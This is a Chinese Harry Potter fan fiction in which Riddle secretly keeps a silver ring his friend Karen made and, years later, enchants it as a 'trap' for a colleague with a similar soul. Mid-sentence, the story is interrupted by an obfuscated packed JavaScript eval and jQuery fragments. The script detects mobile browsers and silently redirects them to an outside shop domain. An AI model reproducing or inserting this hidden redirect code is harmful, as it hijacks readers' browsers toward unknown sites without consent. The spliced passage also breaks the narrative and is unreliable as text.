四年级的圣诞假期，霍格沃茨被厚厚的积雪覆盖，大部分学生都回家过节了。城堡空荡而安静，连画像们都显得有些懒洋洋。木屋里倒是依然温暖，壁炉里的火焰烧得正旺，噼啪作响，橘色的光照亮了不大的客厅。
里德尔正坐在壁炉旁的扶手椅里看书，一本关于古代如尼文和守护魔法的厚重典籍。卡伦则在另一边的桌子前鼓捣着什么，工具和金属块碰撞发出细碎的叮当声，偶尔还夹杂着他低声的嘟囔。
里德尔起初没太在意。卡伦经常会有一些突如其来的奇思妙想，从改良魔药配方到给灰灰设计新的栖架，什么都有可能。他专注在自己的书页上，直到窗外的夜色越来越深，壁炉里的火焰渐渐小了下去，他才抬起头，活动了一下僵硬的脖颈。
然后他发现，桌子那边已经很久没有声音传来了。
卡伦趴在桌子上，侧着脸，枕着自己的胳膊，呼吸均匀而绵长，显然是睡着了。他面前散落着几样小巧的工具：锉刀、镊子，还有两块未经打磨的银锭。而在这些工具中间，静静地躺着两枚刚刚成型的戒指。
里德尔放下书，悄无声息地站起身，走了过去。他的脚步很轻，没有惊醒沉睡中的卡伦。
他停在桌边，低头看着那两枚戒指。
戒指的样式很简单，甚至可以说朴素。就是两个光滑的银环，没有镶嵌任何宝石，只是在戒身外侧，用极细的刻刀雕琢出了一些缠绕的，线条流畅的藤蔓和花朵纹路。纹路并不繁复，却透着一种自然生动的气息，像是从森林里直接拓印下来的。
而真正让里德尔目光停驻的，是戒指内侧刻着的字母。
在靠近戒圈开口的内壁上，刻着两个花体的字母，中间用一个精致的小小“&”符号连接：
D & L。
D……德里克。L……里德尔。
里德尔的心脏，毫无预兆地，重重地跳了一下。那感觉来得突兀而猛烈，像平静的湖面被投入了一块石头，涟漪瞬间扩散到四肢百骸。
他伸出手，指尖悬在戒指上方，停顿了片刻，然后才轻轻拈起那枚稍大一些的。金属触手微凉，带着刚刚锻造完成的，尚未完全散去的余温。他试着将它套上自己的左手无名指。
有点松。尺寸不对。
他放下那枚大的，又拿起了旁边那枚稍小一圈的。这次，尺寸正合适。银环稳稳地套在他的手指上，不松不紧，贴合着指根的轮廓。内壁的“D&L”字母，恰好抵在皮肤上，带来一种微妙的、带着金属凉意的触感。
他看着自己手上的这枚戒指。壁炉最后的余烬光芒跳跃着，在银质的戒身上流动，让那些藤蔓和花朵的纹路仿佛活了过来。那简单的字母组合，在昏暗的光线下，像是一个隐秘的宣告，一个只属于他们两个的符号。
没有任何犹豫，甚至没有去思考卡伦醒来后会发现什么，里德尔将那枚小的戒指从手指上褪了下来，动作很轻，没有发出任何声音，然后，将它紧紧地握在了掌心。金属的凉意迅速被体温焐热。
他看了一眼依旧熟睡的卡伦，金发凌乱地搭在额前，脸颊因为熟睡而泛着淡淡的红晕，嘴唇微微张着，看起来毫无防备。然后，他转过身，拿着那枚戒指，悄无声息地回到了自己的房间。
第二天早上，里德尔是被客厅里传来的大呼小叫声吵醒的。
他穿戴整齐地走下楼，看到卡伦正抓着自己乱糟糟的头发，在桌子、沙发、甚至壁炉前的地毯上到处翻找，嘴里不停地念叨着：“怪了，去哪儿了？我明明就放在这里的……”
里德尔走到桌边，给自己倒了杯水，语气平静地问：“怎么了？找什么？”
“戒指！我做的戒指钥匙不见了！”卡伦直起身，一脸懊恼，蓝眼睛因为着急而显得格外明亮，“就是昨晚我做的那两个！银的，刻了花纹的！我明明记得做完就放在桌上了，怎么一觉醒来就少了一个？灰灰！是不是你叼走了？”他转向架子上的猫头鹰，灰灰无辜地眨了眨圆眼睛，扭过头去梳理羽毛。
里德尔端着水杯的手指微微收紧了一下。他刚要开口，说点什么，就听到卡伦继续嘀嘀咕咕，语气里满是遗憾：
“哎呀，这可是……给她准备的呀。怎么就不见了呢？我还特意做了两个……”
她的？
里德尔所有到了嘴边的话，瞬间冻结了。他脸上的表情没有任何变化，但端着水杯的手却放下得有些快，杯底磕在桌面上，发出轻微的声响。
卡伦没注意到这个小插曲，还在懊恼地翻找。他甚至趴到地上，去看桌子底下。
里德尔站在原地，看着卡伦撅着屁股在桌下摸索的背影，目光沉沉。他什么也没说，只是将杯子里剩下的水一饮而尽，然后转身上楼，回到了自己的房间。
房门在他身后轻轻关上。
他从口袋里拿出了那枚被他焐了一夜，已经变得温热的银戒指。晨光从窗户照进来，落在戒指上，那些“D&L”的字母清晰可见。
他盯着那几个字母看了很久，久到窗外的阳光都偏移了角度。
然后，他走到房间角落那个从二手店淘来的，样式古旧的五斗柜前，拉开了最下面一个很少使用的抽屉。抽屉里空空荡荡，只有一层薄薄的灰尘。他将那枚戒指，丢了进去。
钥匙？
那就让它永远只是一把打不开任何门的钥匙吧。
那之后，卡伦又找了几天戒指，最终只能无奈放弃。他也没再提起那个“她”是谁。而里德尔，也再没有打开过那个抽屉。
时间一年年过去。那枚戒指，连同抽屉里的灰尘，一起被遗忘在那个阴暗的角落里。
直到很久很久以后。
久到魔法部的权力几经更迭，久到汤姆·马沃罗·里德尔这个名字，从魔法法律执行司司长，变成了霍格沃茨魔法学校的黑魔法防御术教授（在经历了一些不那么愉快
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17925544|208351||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的“协商”之后）。
他依旧住在冈特庄园，但更多的时间待在霍格沃茨。他依旧维持着年轻的外表，只是眼神愈发深邃难测。他依旧在寻找，用尽各种方法，寻找那个失落灵魂的踪迹，或者……一个足够好的替代品。
然后，他遇到了新来的同事。
一个外来的旅者。那人有一头黑色的长卷发，一双颜色浅淡，看人时总带着点疏离和好奇的灰色眼睛，说话偶尔会冒出一些稀奇古怪，甚至不属于这个时代的词汇，对魔法有着独到却不成体系的见解。
里德尔第一次在教工休息室见到她时，就感觉到了某种……难以言喻的熟悉感。不是相貌，不是声音，而是一种更深层的，一种灵魂层面的既视感。
他花了些时间去观察，去试探，甚至动用了一些非常规的手段去探查。最终，他得出了一个近乎荒谬却又让他心脏狂跳的结论：她的灵魂与他的灵魂似乎是一致的。
没有卡伦的记忆，没有卡伦的性格，没有卡伦的一切。只是一个空壳，里面装着熟悉的气息。
但这就够了。
多么好的一个引子，比之前用的那些好太多了。而且没有那些不愉快的记忆，一个空白的卡伦，多么让人……
兴奋。
他开始有意识地接近这位旅者同事。用他早已炉火纯青的社交技巧，用他作为教授和前辈的权威，用一些看似不经意的帮助和指点。他耐心地，一点点地，在这个空白的灵魂画布上，涂抹上他想要的颜色，灌输他认可的价值观，建立起一种依赖和信任。
但那位旅者天真却又充满警惕性，就像卡伦一样。
里德尔回到了冈特庄园。他打开了那个尘封多年的五斗柜抽屉。
银色的戒指躺在厚厚的灰尘里，依旧闪着幽微的光。他把它拿起来，用柔软的绒布仔细擦拭干净。藤蔓和花朵的纹路依旧清晰，“D&L”的字母也依旧清晰。
然后，他做了一件事。
他做了一个小小的改造。
戒指不再是简单的银环，它成了一件强大的魔法物品，同时也成了一个温柔的陷阱，一个无形的牢笼。
做完这一切，他看起来没有任何变化，他手指摆弄着卡伦在某一年送给他的生日礼物——一个小木屋的模型，可以通过这个看到小木屋里居住人的行动。
第二天，里德尔假装偶遇，将戒指送了回去。
在霍格沃茨，里德尔看着她手指上的那抹银色，看着那张熟悉又陌生的脸，看着那双眼睛倒映出的，属于自己的平静无波的面容。
戒指找到了它的“手指”。
虽然戴戒指的人，早已不是当年那个半夜趴在桌上睡着，为了做一把有趣的钥匙而耗费心思的少年。
但没关系。
这一次，戒指不会只是一把无用的钥匙了。它会成为一个锚，一个纽带，一个开始。
它会带回他想要的东西。